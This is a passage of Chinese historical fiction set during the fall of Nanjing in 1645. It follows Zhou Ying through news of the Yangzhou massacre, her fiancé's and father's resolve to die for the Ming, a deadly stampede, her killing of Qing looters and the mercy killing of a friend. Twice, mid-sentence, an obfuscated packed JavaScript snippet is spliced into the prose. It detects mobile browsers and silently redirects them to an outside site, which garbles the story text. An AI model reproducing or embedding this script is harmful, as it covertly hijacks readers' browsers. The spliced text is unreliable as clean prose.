这句话不停在周瑛脑海里回荡,爬出蛛网般四通八达的乱线,她顺着每条线延展思绪,次次都能吓一大跳,浑然不觉地被行人裹挟着从洪武街走到了聚宝门内。 突然,前方惊呼拔地而起,拥挤的人群如同被利刃剖开的水流,向两侧急速闪退,推挤踩踏中不断有人受伤。 只见一道黑影疾驰而来,是一匹双目赤红的黄鬃马,马背上的男子披头散发,鸠形鹄面,一身青衫破烂不堪,布满黑褐色的污渍。 他伏在马背上,一边疯狂纵马,一边发出撕心裂肺的哀嚎,犹如挨宰的公鸡。 马蹄踏过泥洼,溅起浑浊的水花,接连撞倒好几个躲闪不及的路人。 周瑛不及多想,丢下竹筐穿过人缝,待烈马奔至近前,她瞅准时机,手腕一翻,稳稳扣住马辔头,掌心运力,借着马匹狂奔的惯性顺势一拉。 烈马吃痛,前蹄扬起,纵声长嘶。 马背上的男子顿时失衡,周瑛手腕再一发力,借着巧劲将他从马背上掀了下来。 男子重重滚落在泥地里,她则纵身一跃,稳稳落在马背上,双腿夹紧马腹,一手死死攥住缰绳,一手拍向马颈,低声喝止。 烈马挣扎数下,终不敌她的挟制,渐渐平息下来,喷着粗气原地踱步。 那男子额头磕出了血,仍不知疼痛地挥手嚎哭,声音惨厉,惹人心悸。 愤怒的人们拥上来拳打脚踢,骂声不绝,被几个长者和理智的路人劝阻。 周瑛翻身下马,挤进围观人群。 那男子已被人左右架起,他年纪不过二十来岁,看衣着像个读书人,兀自嗷嗷疯吼。 一名老者含了口凉水,照他脸上使劲一喷。男子打了个寒颤,哭声渐低,转为细弱游丝的呜咽。 此时周瑛才看清,他青衫上的黑褐色污渍竟是大片干透的血迹,有的凝结成块,边缘泛着暗紫,像从血池里淌过来的,身上还散发着浓烈的腐臭味,熏得近处人掩鼻直退。 人们惊骇议论,竞相询问男子身份来历。有人见他打聚宝门进来的,推测问:“你是从扬州来的吧?” 男子听了连连点头,目光清明了些。 人们忙不迭追问:“那边形势如何?”、“史督师还在率军抵抗吗?”、“鞑子会不会打过来?” 他们其实早已从男子满身的血迹、疯癫的情态里辨出端倪,恐惧阴云席卷了每个人的心头,吸纳所有声响,形成不合时宜的寂静。 男子烂泥般瘫跪着,肩膀耸动,哀哀而泣:“完了…… 全完了……上月二十五扬州城就破了,鞑子军和叛军进城后奸淫掳掠,见人就杀,直至端午那天才封刀……” 他声音虚弱得几乎断裂,每说一句喉咙都像要被锯出血,“到处都是尸体,堆积成山,漫过了屋顶,连河里、池塘里都填得满满当当!我家六十五口人,父母、妻儿、兄弟姐妹全没了,就剩我一个,在死人堆里躲了三天三夜,前天才顺着城墙窟窿爬出来,一路逃到这儿……” 周瑛想象扬州城尸山血海的景象,蓦地恶寒透骨,依稀看到一头摩天巨怪荡地而来,它的影子盖住了巍峨的城门楼,俯瞰城内的蝼蚁众生,呲着獠牙,准备择人而噬。 随着男子的哭诉,人群中渐渐响起连续不绝的抽气声。人们的肝胆被这字字泣血的证词逐一击碎,老者拄着拐杖摇摇欲倒,妇人紧紧搂住身边的孩童,泪水涟涟,更多人彼此依偎着,抖做一团。 有人猝然惊叫起来:“扬州城破了!鞑子很快就会杀过来了!” “南京城快完了!大明朝快完了!” “快跑啊!再不跑没命了!” ……………… 绝望的叫喊声如同导火索点燃了所有积压的恐慌。现场瞬间失控,人们丢魂似的八方逃散,有人往家里奔,想回去收拾细软,携老扶幼出逃。有人直接往城门外跑,急着南下避难,四周街巷好似江潮过境,乱成一锅粥。 周瑛本能地随着人流逃离,脑子一片空白。 方才拥挤的街道霎时空空荡荡的,唯有那可怜的男子还跪在原地,嘶声悲号。 周瑛忍不住回头,见他仰着头,嘴巴张大到极限,既像在控诉这残忍的世道,又像是拼尽全身力气,向天公乞求一丝渺茫的生机。 乌云蔽天,秦淮河边墨浪拍岸,往日两岸绵延的花灯都不见了,只见几处灯火恍如寥落残星零散分布。世界像个半明半暗的 八卦,远方尚有青光盖地,近处漆黑混沌。 周瑛在桥畔没头苍蝇似的不停转悠,脑子里反复闪现那满身血污的扬州男子,以及清军铁蹄踏破南京城门的可怕画面,内心像被架在灶上用文火慢炖般恐惧煎熬。 翘首等待良久,宗保总算领着田文琼来了。 见到未婚夫,周瑛混乱的心便有了依托,打发弟弟先回家,恳切地对田文琼说:“我有急事同你商量!” 她太心慌了,没察觉田文琼状态异样,自顾自匆忙交代:“你也听说了吧?鞑子攻占扬州,已兵发南京了。我们不能再等了,我已经跟爹说了,他也叫我们明日就走,等到了泉州再办婚事。” 她眼巴巴望着田文琼,没能从他脸上寻到温煦回应,这才看出反常。 “你怎么了?” 她如坠冰河,感到一阵战栗的凉意。 田文琼缓缓抬眼,满眼陌生的沉痛与愧疚,犹如刀尖对准她的心脏。 “对不起,瑛娘,我不能跟你们走了。” 周瑛五雷轰顶,半晌方茫然发问:“为什么?” 她听着自己的声音遥远缥缈,意识快与黑暗化在一处了。 “昨日我爹收到消息,鞑子于本月初八进攻镇江,我的二叔三叔率军在江边阻击敌军,最终全军覆没,双双殉国了。” 田文琼语出痛肠,泪如雨下。 周瑛料想这噩耗来临时,田家人定如遭受了灭顶之灾,她满心惊疑:“我听闻镇江总兵郑鸿逵麾下有数百艘战船,兵力远胜鞑子,难道没有驰援他们?” 田文琼泣不成声:“郑鸿逵那厮平日沉迷享乐,军纪涣散,开战后郑氏水师一触而溃,郑鸿逵当即率部弃了镇江逃往福建了。” 他愤恨渐起,咬牙切齿怨憎:“这都是马士英那奸佞害的!他蛊惑圣听,猜忌忠良,徐州失守后他下令禁止所有船只渡江,纵容郑鸿逵炮轰刚上船的友军,逼反李成栋、胡茂桢、郭虎等人。如今明知鞑子已接连攻陷镇江、丹阳、句容,南京早已门户大开,却还封锁消息、欺瞒朝野!此贼不除,天理难容!我死前定要取他项上人头,为天下人除害!” “死” 字入耳,周瑛骇然失色:“你要去死?” 田文琼慌忙垂下眼,避开她惊惶的目光,片刻后鼓起勇气抬头,表情满含决绝与痛心:“瑛娘,我五个堂兄弟都随叔叔们战死了,我是家中长子,若贪生苟活岂不辱没我爹一世英名?已决意随他死守孝陵,他日捐躯尽忠,马革裹尸,方不愧叔叔兄弟们在天之灵。明日我两位姨娘将带弟弟们前往泉州,我已另备车马,你带上周叔宗保,同他们一道上路。” 他语速极快,生怕稍有停顿便会被她眼中的绝望击溃,更怕自己会动摇以死明志的决心。 周瑛在恍惚惊惧中翻滚,转瞬间五内俱伤,怒火迸发,失声詈吼:“田文琼你怎么这么糊涂!大明落到如今这地步,是昏君和奸臣造成的,这祸事凭什么让我们来扛?你叔叔兄弟们都不在了,田伯父也决意与孝陵同存亡,田家从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875418|191879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此人丁单薄,你就更该努力活下去啊。不然以后谁来照顾你那三个未成年的弟弟?你就不怕田家绝后吗?” 她从未这般失态过,像含冤的厉鬼,张牙舞爪。 “还有我,你有没有想过我今后怎么办?你过去说的话都是假的吗?” 田文琼悲不能胜地闭上眼睛:“璎娘,是我负了你。文琼命浅福薄,今生有缘无分,来生必结草衔环相报。” 他抬起右手,摊开的掌心上静静躺着一枚莹白的和田鸳鸯珮。那是他们订婚时周家交换的信物。 周瑛像对着一块顽石说话,理智崩溃,狂躁哭骂:“你就是个蠢货!蠢货!前朝覆灭时,北方多少大臣降清,不照样高官厚禄,安享荣华!如今还有几个人记得那些殉难者?你别意气用气,那不叫节烈,是愚忠啊!” 田文琼仍旧紧闭双眼,眼缝间泪出汹涌。 周瑛彻底慌了,不顾尊严地扑进他怀里,双臂死死环住他腰,脸埋在他的肩头,所有锋芒都化作卑微哀求:“我们从小好到大,我一直盼着你来娶我,那怕再多风浪,只要你我在一处都能熬过去。求你别丢下我……” 从两小无猜到两情相悦,他早已融入她的生命,如同血肉相连的至亲,她怎么割舍得下? 田文琼泪流满面,心如刀绞,抬起的手在半空僵了又僵,指尖距她不过寸许,终究狠狠攥拳,决然推开她。 玉佩被强行塞进她手中,冰凉的触感痛如针扎。 “保重!” 他大步流星离去,脚步踉跄了一下,仿佛被夜色绊住了,但终究没有回头。 周瑛凄楚呼喊,眼睁睁看着他消失在夜幕中,心一寸寸沉进寒潭。终于支撑不住,抱着膝盖蹲在地上痛哭不止。 涛声潺潺,风声凄凄,似在陪她哀泣。 国事倾颓,情如弦断,她昏昏乎乎,如临乱梦,像一颗弱小的种子受无序的因果操弄,全无着落地无助飘零,找不到能够扎根的土壤。 远处忽有丝竹鼓瑟之声摇曳而来,似流泉绵云,随波渐近。 周瑛循声眺望,一艘画舫正徐徐游来,其间灯火璀璨,恍如一座浮于水上的琉璃宫阙。 这画舫规制极阔,船身精雕彩绘,舷边镶着一圈流光溢彩的玻璃花灯。舱顶覆着绿色琉璃瓦,舱外雕花栏杆环绕,挂着粉色绡帐,随风轻拂,隐约可见舱内铺陈富丽,处处透着纸醉金迷的奢华。 普天之下,唯有南京城的膏粱子弟、达官显贵才造得出、用得起这样好的画舫。 船头船尾十几个华服男女相拥而坐,或击节而歌,或执壶劝酒,莺声燕语,欢声畅笑,热闹景象竟与升平时节无异。 周瑛怒火中烧,她恨耽于享乐、不问政务的昏君,更恨这些沐猴而冠的官僚士大夫,大明江山就被他们这么蚕食殆尽,如今国将不国,他们却仍在这秦淮河上醉生梦死,拉着万千黎民百姓为他们陪葬! 她俯身捡起岸边散落的石子,一颗一颗用力朝画舫掷去,用这徒劳幼稚的举动发泄怨气。石子划破夜色,落入水中,溅起微不足道的水花,丝毫没能惊动船上人。 “瑛娘。” 一声清音阻停她捡拾石子的手,她一面转头一面直起身,见柳如是领着小婢姗姗走来。 她身着一袭淡色纱罗短衫,下罩深青色素纱马面裙,头上绾着简洁的圆髻,鬓边仅斜插一支素银簪,无半点珠翠点缀,反倒衬得眉目绝艳,宛若月殿仙子临凡。 “钱夫人,您怎不多带些随从?万一遇上歹人……” 周瑛暗道她胆大,近日城中盗匪激增,治安急剧恶化,虽说尚书府距此不过半里地,两个弱女子空手夜行还是太冒险了。 柳如是笑道:“牧斋先生派了人手在附近巡逻,不妨事的。瑛娘,我正想去你家寻你。我藏了些古籍善本,准备分赠友人,你待会儿随我过去挑几本合心意的吧。” 周瑛猜钱谦益即将弃职外逃,心想柳如是往日里高谈阔论、倡议气节,事到临头也不过尔尔。胸中不平之气更甚,垂眸沉声道:“谢夫人美意,请恕周瑛不敢领受。如今国难当头,那么多饱读诗书的大臣文人都救不了国,可见读书无用。” ” 官员们在朝中党同伐异,空谈误国,学子们在文坛沽名钓誉,追腥逐臭。人人都想靠肚子里的锦绣文章谋取私利,所谓圣贤学说不过是骗人的鬼话。 柳如是矍然静默,凝神沉思许久,眉宇间笼上一层淡淡的怅惘,喃喃道:“是啊,读书救不了国……可这乱世中什么才能救国呢?” 周瑛往日受她的恩惠,不免自疚方才的话太过生硬,放缓语气恭敬询问:“钱夫人,您与钱大人何时走啊?” 柳如是无奈地看她一眼,目光移向幽波瑟瑟的河面,眼眸深邃,似在观照自己的前世今生。 “以前我拼了命想离开这条河。如今却有些舍不得了。” 这句叹息般的吟哦背后好像藏着某种谶言,周瑛正失神,附近忽然传来仓皇的叫喊声:“着火啦!着火啦!” 她惊忙寻找火源,只见那艘正在逝去的画舫不知何时浓烟滚滚,橘红色的火苗如毒蛇乱窜,啮咬花窗绣帐,将整艘船裹成一个蠕动的大火球。 甲板上的男女醉酒般东倒西歪,有几人爬在船舷边大口呕血,相继倒伏。还有些身上燃着火焰的人,厉声惨叫蹦跳着,却无一人跳水逃生,反倒接连扑进火堆深处。 周瑛看明白了,他们分明在求死! 原来这场极尽奢靡的豪宴是这些红男绿女最后的狂欢,赶在国破家亡前打包一生的荣华与罪孽,投奔黄泉。 “亦余心之所善兮,虽九死其犹未悔。宁溘死以流亡兮……” 舱内传出一阵歌声,穿透浓烟与惨叫,清晰地回荡在秦淮河上。 一名衣衫不整的中年男子且歌且舞走上船头,双臂左右舒展,迎风而立。 周瑛听出他唱得是《离骚》里的句子,曲调哀而不伤,浑厚有力。 “陟陛皇之赫戏兮,忽临睨夫旧乡。仆夫悲余马怀兮,蜷局顾而不行。既莫足为美政兮,吾将从彭咸之所居……” 火光撒在男子跟前的江面上,粼粼波光仿佛一群受惊的鱼拼命扑腾着。而他仍旧从容不迫高唱,火舌迅速捕获他,他昂然不动,在曲调最激昂时发出一声直冲云天的深长惨叫,旋即融入烈火中。 两岸人声叠起,居民们闻声而来。想救火的爱莫能助,看稀奇的满腹牢骚。 而秦淮河依然故我,静静流淌,没有丝毫变化。 周瑛难以消化这突如其来的冲击,心中涌起无法言说的悲哀。 这些人有错,错在沉迷享乐、断送家国。可他们也是这乱世的牺牲品,是昏君奸臣治下的悲剧缩影。 就像田文琼的愚忠、柳如是的迷茫,还有她本身的无助,人人都被时代洪流裹挟,有人选择死得 “体面”,有人选择死得壮烈,有人选择苟活逃亡,却无人能挣脱这亡国的大趋势。 下一个栽倒在洪流中将会是谁呢? 4. 血洒金陵道 残雨犹滴檐,低云恋江天。濛濛潮气锁着缕缕轻烟,白昼暗如黄昏。 周瑛抬眼望向床榻,周世楠正倚着枕头,用一方白绢细细擦拭冷月刀。这两日他反复做着这件事,像时刻准备着奔赴沙场。刀身被擦得锃亮如镜,能照出人影。 周瑛在凛冽寒光中看到自己的脸,白得像灰面团,镶着一双火炭似的眼睛,活像怀揣悲戚执念的怨灵。 她从十一日晚起不停劝父亲和他们一同离开南京,软磨硬泡,哀哭撒泼,各种招数都使尽了,仍打动不了他。 昨晚掌灯时分,她索性跪在周世楠床前,声言,父亲若不点头同去泉州,她便长跪不起,拿舐犊之情赌他一丝心软。 周世楠仍骂她“妇人之见”,见她不肯起身,竟放下蚊帐倒头便睡,任她跪到天明。 这会儿她腿脚麻木,腰酸背痛,膝盖更是碎了般疼。可父亲醒来后照旧不紧不慢擦刀,对她的苦状视若无睹,只是没吃忠伯送来的早饭。 方才宗保来了,见姐姐还跪在地上,便要陪她一起跪,被周世楠声色俱厉暴骂。 可怜的弟弟因连日受父亲训斥,话不敢说,声不敢吭,连哭都只能憋着气,涕泪连绵,愁绪万缕。 漫长的对峙耗尽了周瑛的耐心,对父亲的怨怼像梅雨季的霉菌疯狂滋长,连带将对田文琼的失望一并转嫁于他。 他把腐朽的王朝看得比亲骨肉还重,无视眼前受苦的儿女,只念着孝陵里的枯骨,何其愚蠢!何其绝情! 冲动正在酝酿,就在这时忠伯跌跌撞撞跑进来。 老头儿面如土色,无法抑制慌悚:“老爷,不好了!刚才我在门外听人说,初十夜里,陛下带着一批随从自通济门离开南京,如今皇宫里没人了!” 闻者皆惊,周世楠难以置信地震愕,霍然直起身,厉声追问:“你从哪儿听来的?定是谣言!” 忠伯连连拍腿:“老奴岂敢撒这谎,是钱尚书的随从亲口说的。今早文武百官入朝时发现宫门大开,御座空无一人,遗留下来的几十个宫女在西华门外惊慌乱窜,大臣们这才知晓陛下已然出逃了!” 周瑛怒极冷笑,朱由崧这昏君既无治国之才,更无帝王气魄,面对亡国危机,第一反应竟是保命为先。 周世楠像被抽走了魂魄,眼神空洞地望着前方。少顷,他猛力捶床,悲痛失声:“先帝爷!看看您的不肖子孙吧,大明就要败在他们手里了!” 忠伯哭丧道:“老爷,田家人也在催促,说我们再不走,他们就等不了了。” 前天田家便派了两辆马车和两男一女三个仆人过来,预备护送周家人去泉州。因周世楠不肯走,迟迟未能成行。 周瑛愤懑地对父亲说:“爹,现在您总该清醒了?君不仁,则臣不义,皇帝都丢下南京百姓逃走了,您又是何苦?” 她以为弘光帝的潜逃会是当头一棒,能打醒执迷不悟的父亲。可是万万没想到竟适得其反。 周世楠脸上的悲痛迅速褪去,决绝道:“陛下弃城而逃,大明正统蒙羞,我身为臣子更要为君补过,为君守节!让百姓们知道大明未亡,朝中尚有忠臣!” 在他眼里“大明” 早已不囿于君王个人,而是帝陵里的历代先皇、南京城的坚固城墙、千万里锦绣河山、以及 “士农工商各安其位” 的礼仪秩序。皇帝可以逃亡,社稷不能无人守护。他要护住心中 “大明应有的样子”,用武将“守土至死” 的义举证明华夏的气节尚存。 连忠伯都看不下去他的迂腐,斗胆哀劝:“老爷忠心报国也不在这一时,逃出去也是为朝廷保留忠良啊。” 周世楠呵斥:“你懂什么!那些身体健全的忠臣良将若能逃出去,日后尚可招募义军、挥师北伐,匡扶国家。我已是废人了,逃去泉州不过苟延残喘,于国何益?!如今鞑子兵临城下,正是我死节之时,能为大明守最后一寸土,为先帝爷尽最后一份忠,便是死得其所!” 他的斗志比之前更坚定昂扬,悍然命令周瑛:“瑛儿,你这便带宗保跟田家人去泉州,不许再磨蹭!” 宗保情知父亲心意难改,痛极而泣。 周瑛的失望演变为怨恨,脸失表情,呈现冷酷的僵硬。 她忍着酸麻疼痛爬起来,默默坐到桌案前,端起饭碗大口吃着凉掉的粥和米糕馒头,并招呼宗保也去吃。 宗保和忠伯困惑地望着她,周世楠从女儿的反常行为里嗅到冲突的气息,静默等待着。 周瑛狼吞虎咽填饱肚子,抹了抹嘴,走到床前,锋芒毕露地直视父亲:“爹,我最后问您一次,跟不跟我们走?” 父女决裂,与生离死别又有何异? 周世楠怒目圆睁:“你听不懂人话是不是?我叫你马上带宗保和忠伯走,否则我就没你这个女儿!” 周瑛拥塞的情绪如火山喷发,不管不顾怒吼:“你在官场混了一辈子,朝廷有多腐败你心里一清二楚!奸臣们结党弄权,排挤忠良。前有温体仁、周延儒,近有马士英、阮大铖。君臣耽于享乐,用苛捐重赋盘剥百姓,军队里营务废弛,贪污成风。朝堂无抗敌之策,官员或贪腐自肥,或观望投降,这末世乱局已定了!王道不张,纲纪败坏,活该让满人得天下!” 她见过朝堂党争的残酷,见过军队的腐朽无能,更知道民间疾苦的惨烈,早在这乱世中看透王朝更迭的本质,认为三纲五常、华夷之辩都太空泛,只想牢牢抓住生存与亲情。 骇人听闻的言论吓坏宗保和忠伯,更激怒周世楠,他伸臂举刀,冷月刀那吹毛断发的刃尖直指周瑛咽喉,怒吼震得窗棂发颤。 “怪不得人都道‘唯女子与小人难养也’,你就是个畜生!” 周瑛仅存的希望化为齑粉,父亲的情感天枰终究倒向他信奉的忠义,她紧抿唇瓣,泪落沾襟。 周世楠厉色嘱咐宗保:“周宗保,日后她再敢有这不忠不孝的念头,你就替我杀了她!断不可辱了周家门风!” 宗保无言痛哭,难以承受这国将沦丧,父姊反目的双重变故。 忠伯扑跪膝行,流涕哀求:“老爷!瑛娘是急糊涂了!您让她带宗保走,老奴留下服侍您!” “都走!” 周世楠挥刀指向忠伯,“再聒噪,休怪我刀下无情!” 他赤红的眼眸里只剩殉道者的偏执,忠伯嚎啕,不敢再言。 周瑛放弃念想,恨恨瞪了父亲片刻,一把抓住宗保的手,生拉硬拽拖走。吩咐忠伯将家里所有能吃的东西都搬到周世楠房里来。 宗保扒住门框哭喊:“让我再给爹磕几个头!” “他都不要我们了!走!” 周瑛含泪怒骂,没再看周世楠一眼。 慷慨捐躯易,乱世守家难,那绝情的男人在关键时刻放弃父职,不过是趋易避难的懦夫。 巳时前,周瑛一行随着逃难人潮挤向城南。城内早已混乱不堪,大街上,车轿、独轮车、行人交错混杂,乱糟糟地往南奔逃。 官老爷的轿子帘幔紧闭,轿夫们气喘吁吁奔跑。富商的马车装满了财货与家眷,车夫挥舞着鞭子,厉声辱骂挡路的行人。更多百姓推着独轮车,车上堆着简单的行囊被褥,老人、孩子坐在上面,迷茫畏缩,不知道前路何处是安身之所。偶有骑马的兵丁疾驰而过,马蹄踏碎积水,溅得路边行人满身泥污,引来阵阵怨骂,可谁都顾不上理论,各自抖着滴水的衣衫,加快逃难脚步。 天空仿佛湿透的脏棉絮,沉沉压在头顶,纷霏细雨淅淅沥沥。 周瑛踩着泥泞往前走,雨水濡湿鬓发,顺着脸颊流淌,愁思像这雨雾无边无际。 浮生恰似雨中天,晴光何处觅,心共水云悬。 清军已攻占句容、丹阳,南下的官道被掐断,逃难的百姓只能出聚宝门,沿江宁的乡间小道迂回南逃。 马车是坐不成了,人们尽量精简行囊,背着臃肿的包袱,在淤泥路上深一脚浅一脚地挪动。 可就连这条偏僻小道上难民也多到挨山填海。从晌午走到下午只走出十数里,前方依然人头攒动,一望不尽。 人们担心清军袭击,随处可闻烦躁不安的叫骂声,孩子的哭声更是四面开花,教人没有片刻安宁。 宗保忽然打个寒颤,用力扯住周瑛的袖子,失魂落魄道:“姐姐不好了!我、我忘记把关二爷带走了!” 他急泪直出,又害怕又自责,深恐辜负父亲的重托。 周瑛也觉得这是个大事,那纯金关公像价值不菲,今后谋生计少不得它,果断道:“我回去取,你们先走,过了横溪找地方躲起来,我今晚必定去与你们回合!” 她不顾家人劝阻折回,走出约两里地,身后骤然间人声鼎沸,无数惊惶的惨叫、哭喊轰 天震地,夺魂荡魄。 原来前方山道上窜出一伙土匪,手持棍棒利刃袭击逃难人群,不管老弱妇孺,一律疯狂砍杀抢掠。 难民们无处可躲,大半人转头往回奔逃。 这一逆奔在拥挤的小道上招来弥天大祸,向前涌动的人潮猛地撞上回流的人群,踩踏惨剧一发不可收拾,且愈演愈烈。 周瑛听见附近有人喊:“鞑子杀来啦!” 这三个字如同凉水泼进热油锅,人们顿失理智,一个劲掉头狂奔,在烂泥里趔趄跑跳,稍有不慎便会被推搡拉拽倒地。 一旦倒下再无起身之机,后面的人被人潮驱赶着,根本收不住脚,几百几千只沾着泥浆的草鞋、布履、甚至官绅的靴子连续自倒地者身上踏过。血肉之躯,与泥同腐。 周瑛亲眼看见一名男子被人群挤倒,只喊了半身便被若干支脚淹没,鲜血混着泥浆飞溅。许多人叠罗汉似的摔成一堆,垫底的人挣扎不起,被活活压死、闷死。 还有人为争夺逃生路径,双手胡乱抓扯,无数人被撕烂耳朵,抓烂面皮,抓瞎眼睛,更多人被撕破衣衫,踩丢鞋袜。 散落的行囊、被褥、杂物被踢来踢去,同死难者尸体缠绕在一处,景象惨不忍睹。 周瑛武艺高强,身形敏捷,在混乱中接连避开数次危险,纵身跃过前方刚形成的人堆。落地时有人死死拽住了她的裤腿。她低头看见一个被压在人堆边缘的女人。 女人脸色惨白,嘶声嚎叫:“救命!救命!” 周瑛连忙弯腰拉住她的手,可那女人像钉在地上一般,任她使出全力仍纹丝不动。接连有人翻越人堆跳落,全靠她及时矮身躲避才没被撞倒。 她眼看女人眼珠翻白,没了声响,而人堆已垒过头顶,随时可能塌方,只好撒手转身疯跑。 刚跑出几步,那座肉山便轰然溃塌,翻滚的人体追逐着,险些咬住她的脚后跟。 四围鬼哭狼嚎,随着奔逃,耳边声浪不停幻化,众多男女老幼的叫声混合,听不清在喊什么。 前面的人见状都如惊弓之鸟调头加入逃亡乱流,这股失控的灾难犹如一股毁灭性的泥石流,扫荡狭窄的道路,留下满地狼藉与血污,那惨景纵有生花妙笔也难以描摹其万一。 周瑛像一尾逆流而上的鱼。每撞开一个哭嚎的肩膀,每踩过一滩血泥参半的污秽,心头的火就烧得更旺一分。满脑子念着宗保、忠伯和李妈,似乎能看到他们慌乱无措,被人潮碾压的惨状。 真不该丢下他们! 她又悔又愧、焦急痛心,脚下猛地一滑,险些栽倒。稳住身形时,手掌按在泥里,触到一团软烂,竟是被踩遍的婴儿,她的胃一阵抽搐,赶紧闭气,继续往前跑。 逃出四五里地,骚乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875419|191879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐平息。她接连向逃回的难民打听,得知是山匪作乱,而宗保他们早在山匪出现前就越过了那段路,想来没卷入这场祸事。 家人平安的消息似甘霖浇灭心火,她如蒙大赦,可随即听从南京城逃出的人说,清军已在聚宝门附近出没,原路返回取关公像已是痴人说梦,连这条乡间小道也不再安全,只能往深山里走,绕着村落迂回逃离。 她随人群钻进西侧的山林,朝横溪方向赶。 天色渐暗,好在雨停了,山间湿漉漉的寒气砭肌浸骨。越往偏僻处走,同行的难民越少,林间树影幢幢,分不清东西南北,也遇不到可靠的问路人。她只能忐忑地硬着头皮往前闯,饿了啃两口包袱里的麦饼,渴了掬一捧山涧里的清泉。 等天完全黑透,山林里伸手不见五指。逃难的人们怕火把引来盗匪或清军,都摸黑前行,有人说前方不远有座村落,可去问路借宿。 当他们走到村子边缘,发现村中隐现火光,不等众人反应过来,三四个身着清军服饰的汉子提刀杀出,为首的厉声呼喝,挥刀砍倒一个走在最前面的难民。 人群顿作鸟兽散,周瑛慌不择路地往林子里跑,路过一户村民家,见墙根下靠着一把斧头,赶紧上去握在手中。斧头锈迹斑斑,却让她的心稍稍安定。 再往前慌跑一截,撞进一片开阔地,一座青砖黑瓦的庄园赫然矗立,看规模气派不凡,想必是本地富户。 几个清军正在庄园门口进进出出搬运财物,还将里面的男女老幼拖拽出来,逐个砍杀。 周瑛正要悄悄绕开,意外听到闽小梅的呼救声,定睛一看那刚被拖出的,衣衫凌乱,鬓发蓬散的年轻女子真是闽小梅本人。 她心头大惊,不及多想借着黑暗掩护,弯腰摸过去救人。 这伙清军是偷偷离队,四处搜刮打劫的散兵,人数不多。 周瑛屏住呼吸,瞅准一个背对她搬箱子的清军,猝然前扑扬起斧头劈下去,正中对方后颈,那人哼都没哼一声便倒在地上。 这是她首次杀人,斧头砍进骨肉的感觉很钝,像劈进湿木头,登时卡住了。温热的血溅到脸上,有点烫,接着铁锈味直冲鼻腔,喉头随之一紧。 周瑛愣了一瞬,世界忽然远了,剧烈心跳声鼓动耳膜。 不能停。 她扔掉斧头,夺下尸体腰间的佩刀,刀身沉重,却给了她更多底气。 一声惨叫冷不防击穿她的定力。 适才两个清军抢光了闽小梅身上的首饰,瞅见她戴在右腕的金镯子,立马去抢。 闽小梅哭喊着死死护住镯子。清军不耐烦,一人拽住她的手腕,另一人麻利挥刀,将她的右小臂生生斩断。 血如泉崩,闽小梅疼得晕死过去。 “畜生!” 周瑛目眦欲裂,凭一股血勇提刀冲上去。那几个清兵很强悍,却敌不过她家学渊源,技法超群,短短数息便尽数去地府销账了。 她顾不上擦拭脸上的血污,三步并作两步赶到闽小梅身边,撕下一旁遇害妇女的裙子,为伤者包扎止血。 “小梅,撑住!” 她急切呼喊,不敢原地逗留,背起昏迷的朋友,将她的断臂揣在怀中,钻进最近的密林。 她披荆斩棘狂奔,衣衫破碎,汗出如雨,思绪混乱,只知道逃!逃!逃! 不知疲惫地翻过一座山头,耳旁微弱的呻、吟将她唤醒,急忙找了个较为平坦的地方放下闽小梅。 光线昏暗,她看不清闽小梅的脸,只摸得到她微弱的脉搏,感受到她急促的气息和冰冷的身体,她的衣服湿润粘手,不用看,全是血。 “小梅、小梅!” 她压低嗓门呼喊,快急疯了。 “是…… 瑛娘吗?” 闽小梅声若蚊吟,吐字艰难。 周瑛攥紧她的手,急道:“是,是我!小梅,你不是和家人去广州了吗?怎会在这里?” 闽小梅喉间溢出一声哀泣:“那日我们刚到仪真便遇上水匪,父母兄嫂都死了,几个老家人护着我和两个侄子逃回来,指望这座别业能避难,结果……” 她剧痛难忍,抓住周瑛的手,无意中掐破她的皮肤,“瑛娘,我不中用了……求你,了结我吧,我实在受不住了……” 周瑛哪里办得到?哭劝她振作,却很清楚以她的伤势,医药完备尚难活命,当此境地只能活活疼死。 “求你了,瑛娘,就当可怜我……” 闽小梅哀哀哭求,银牙破唇,俨然酷刑加身。 周瑛心胆俱裂,颤抖着提起长刀,刀尖朝下对准她的心窝,只觉刀身重逾千斤,手不停抖,抽噎着难以行动。 再看闽小梅微微点头含笑,分明是催促感激之意。 她闭上眼,嚼齿穿龈,双手猛地一沉,一切归于沉寂。 她呆坐多时方缓过气来,无力安葬闽小梅,又怕清军匪类辱尸,便背起遗体找到一处水塘。 夜塘阒然,竹树环合,水色深碧,不映寸光,远近虫蛙喧声暗哑,愈显寂寥。 她费力找来几块大石塞进闽小梅的衣服,取出断臂想系在她的袖子上,让她能去得完整,由此认出闽小梅右腕上的镯子是那天自己赠给她的纪念物。 “小梅,是我害了你……” 周瑛痛断肝肠,一恸欲绝,心想闽小梅才十七岁,才貌双全,重情重义,竟会遭此横祸。 她想放声痛哭,又恐惊动恶人,捂住嘴蜷缩在地,泪雨滂沱。 许久终于寻回一些冷静,她将遗体轻轻推入水中。 闽小梅的衣裙在水面上荡漾开,宛若硕大的水芙蓉绽放着沉没。 一朵人间富贵花,偏偏生于末世,在最娇艳欲滴时红消香断了。 5. 绝处见忠烈 周瑛连夜遁逃,不敢走山路人径,在黑暗中翻山越岭。 西南丘陵的褶皱好似复杂迷宫,天如墨盘,找不到一颗能指路的星子。她走得腿脚发麻,又累又困,在一座山崖下歇息。刚入小憩便被狼嚎惊醒,赶忙逃离。 